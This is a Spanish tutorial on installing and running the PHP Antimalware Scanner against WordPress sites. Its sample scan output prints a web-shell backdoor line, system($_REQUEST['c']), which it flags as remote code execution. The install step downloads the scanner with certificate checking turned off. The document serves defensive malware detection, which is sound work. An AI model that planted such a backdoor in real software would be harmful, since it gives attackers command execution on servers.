PHP Antimalware Scanner para WordPress

Última revisión: 2 de octubre de 2021

Una de las mayores preocupaciones de los usuarios de WordPress es tener algún ataque y que pase desapercibido, principalmente por la descarga de algún theme o plugin que pueda tener alguna vulnerabilidad o descargas de sitios indebidos.

Aunque existen plugins que lo hacen, no dejan de ser otra oportunidad y problema de seguridad, así que utilizaremos una herramienta externa que nos ayude a analizar la posibilidad de encontrarse con ficheros indebidos.

AMWScan (PHP Antimalware Scanner) es una herramienta escrita en PHP y que analiza código PHP, por lo que viene perfecto a la hora de analizar WordPress. Además, tiene una integración cuando detecta WordPress que realiza algunas tareas extra, como el checksum de los plugins y themes en el repositorio oficial.

Este tutorial ha sido creado en un VPS de Clouding.io. Puedes crear tu propio VPS desde 3€/mes.

Además, tienes la posibilidad de crear tu VPS con la imagen de WordPress en un clic.

COLABORACIÓN

Requisitos

  • WordPress

Instalación y configuración

Para hacer más sencillo su uso, vamos a instalar y a configurar PHP Antimalware Scanner para que se pueda usar como un comando en cualquier parte del sistema

Primero descargamos el fichero principal

wget https://raw.githubusercontent.com/marcocesarato/PHP-Antimalware-Scanner/master/dist/scanner --no-check-certificate -O /usr/bin/awscan.phar

Crearemos el sistema ejecutable

vim /usr/bin/awscan

y le incluiremos el siguiente contenido

#!/bin/bash
php /usr/bin/awscan.phar $@

Una vez tengamos el fichero, le daremos permisos y lo configuraremos para su futura ejecución.

chmod u+x,g+x /usr/bin/awscan.phar
chmod u+x,g+x /usr/bin/awscan
export PATH=$PATH":/usr/bin"

Análisis

En este momento, podemos lanzarlo para probar que funciona. Haremos un análisis completo, aunque permite algunas configuraciones:

  • -e: sólo busca exploits
  • -l: análisis reducido

En cualquier caso, la recomendación es primero lanzar un análisis sin parámetros, para revisar todo. Podemos ir a la carpeta donde tenemos el WordPress o ejecutarlo indicándole donde se encuentra.

awscan /webs/example.com/

Esto nos devolverá, en el caso de un WordPress, algo tal que así:

         █████╗ ███╗   ███╗██╗    ██╗███████╗ ██████╗ █████╗ ███╗   ██╗
        ██╔══██╗████╗ ████║██║    ██║██╔════╝██╔════╝██╔══██╗████╗  ██║
        ███████║██╔████╔██║██║ █╗ ██║███████╗██║     ███████║██╔██╗ ██║
        ██╔══██║██║╚██╔╝██║██║███╗██║╚════██║██║     ██╔══██║██║╚██╗██║
        ██║  ██║██║ ╚═╝ ██║╚███╔███╔╝███████║╚██████╗██║  ██║██║ ╚████║
        ╚═╝  ╚═╝╚═╝     ╚═╝ ╚══╝╚══╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═══╝
        Github: https://github.com/marcocesarato/PHP-Antimalware-Scanner

                               version 0.7.5.177

                            PHP Antimalware Scanner
                           Created by Marco Cesarato

Start scanning...
Scan date: 07-01-2021 09:22:35
Scanning /webs/example.com

Mapping and retrieving checksums, please wait...

Found WordPress 5.6 (en_US) at "/webs/example.com"
Found WordPress Plugin Akismet Anti-Spam 4.1.8
Found WordPress Plugin Gutenberg 9.7.0
Found WordPress Plugin Health Check & Troubleshooting 1.4.5
Found WordPress Plugin Jetpack by WordPress.com 9.2.1
Found WordPress Plugin Two Factor 0.7.0
Found WordPress Plugin Wordfence Security 7.4.14
Retrieving checksums of WordPress Plugin Health Check & Troubleshooting 1.4.5
Retrieving checksums of WordPress Plugin Jetpack by WordPress.com 9.2.1
Retrieving checksums of WordPress Plugin Two Factor 0.7.0
Retrieving checksums of WordPress Plugin Wordfence Security 7.4.14

Verifying files checksum...

[===============================] 100%  2385/2385 [10 sec/0 sec]

Found 51 files to check

Checking files...

[=============================> ] 98%  50/51 [11 sec/0 sec]]

Scan finished!

                                    SUMMARY

Files scanned: 51
Files edited: 0
Files quarantined: 0
Files whitelisted: 0
Files ignored: 0

Malware detected: 0
Malware removed: 0

Encontrando contenido malicioso

En el caso de que encuentre contenido malicioso, nos devolverá el análisis algunos datos extra. primero nos indicará qué fichero es el que tiene el problema, posteriormente una preview de su contenido y qué funciones o líneas podrían ser la que dan los problemas.

Con esto una serie de opciones de qué queremos hacer:

[1] Delete file
[2] Move to quarantine
[3] Dry run evil code fixer
[4] Dry run evil line code fixer
[5] Open with vim
[6] Open with nano
[7] Add to whitelist
[8] Show source
[-] Ignore

El sistema lleva integradas algunas posibilidades para corregir el problema, aunque en este caso lo más recomendable es analizar y saber qué es lo que está fallando, si realmente es un problema o no.

Un ejemplo del resultado que daría un posible backdoor es este.

         █████╗ ███╗   ███╗██╗    ██╗███████╗ ██████╗ █████╗ ███╗   ██╗
        ██╔══██╗████╗ ████║██║    ██║██╔════╝██╔════╝██╔══██╗████╗  ██║
        ███████║██╔████╔██║██║ █╗ ██║███████╗██║     ███████║██╔██╗ ██║
        ██╔══██║██║╚██╔╝██║██║███╗██║╚════██║██║     ██╔══██║██║╚██╗██║
        ██║  ██║██║ ╚═╝ ██║╚███╔███╔╝███████║╚██████╗██║  ██║██║ ╚████║
        ╚═╝  ╚═╝╚═╝     ╚═╝ ╚══╝╚══╝ ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═══╝
        Github: https://github.com/marcocesarato/PHP-Antimalware-Scanner

                               version 0.7.5.177

                            PHP Antimalware Scanner
                           Created by Marco Cesarato

Start scanning...
Scan date: 07-01-2021 09:27:57
Scanning /PHP-Malware-Collection/shell/php-backdoor.php

Mapping and retrieving checksums, please wait...

Found 1 files to check

Checking files...

[>                              ] 0%  0/1 [0 sec/0 sec]

PROBABLE MALWARE FOUND!
/PHP-Malware-Collection/shell/php-backdoor.php

=================================== PREVIEW ====================================

  27 | if(isset($_REQUEST['c'])){
  28 |  echo "<pre>";
  29 |  system($_REQUEST['c']);
  30 |  die;
  31 | }

================================================================================

Checksum: 2b5cb105c4ea9b5ebc64705b4bd86bf7
File path: /PHP-Malware-Collection/shell/php-backdoor.php

Evil code found:
[!] Exploit `execution` [line 29]
    - RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP
      => system($_REQUEST['c'])
[!] Function `system` [line 28]
    - Encoded Function `system`
      => ";
        system($_REQUEST['c'])
[!] Sign `100` [line 29]
    - Definition sign `100`
      => system($_REQUEST[
[!] Sign `110` [line 28]
    - Definition sign `110`
      => echo "<pre>";
        system($_REQUEST['c']);
        die;

OPTIONS:

    [1] Delete file
    [2] Move to quarantine
    [3] Dry run evil code fixer
    [4] Dry run evil line code fixer
    [5] Open with vim
    [6] Open with nano
    [7] Add to whitelist
    [8] Show source
    [-] Ignore


amwscan > What is your choice?  -

File '/PHP-Malware-Collection/shell/php-backdoor.php' skipped!

Scan finished!

                                    SUMMARY

Files scanned: 1
Files edited: 0
Files quarantined: 0
Files whitelisted: 0
Files ignored: 1

Malware detected: 1
Malware removed: 0

Files ignored:
/PHP-Malware-Collection/shell/php-backdoor.php

Sobre este documento

Este documento está regulado por la licencia EUPL v1.2, publicado en WP SysAdmin y creado por Javier Casares. Por favor, si utilizas este contenido en tu sitio web, tu presentación o cualquier material que distribuyas, recuerda hacer una mención a este sitio o a su autor, y teniendo que poner el material que crees bajo licencia EUPL.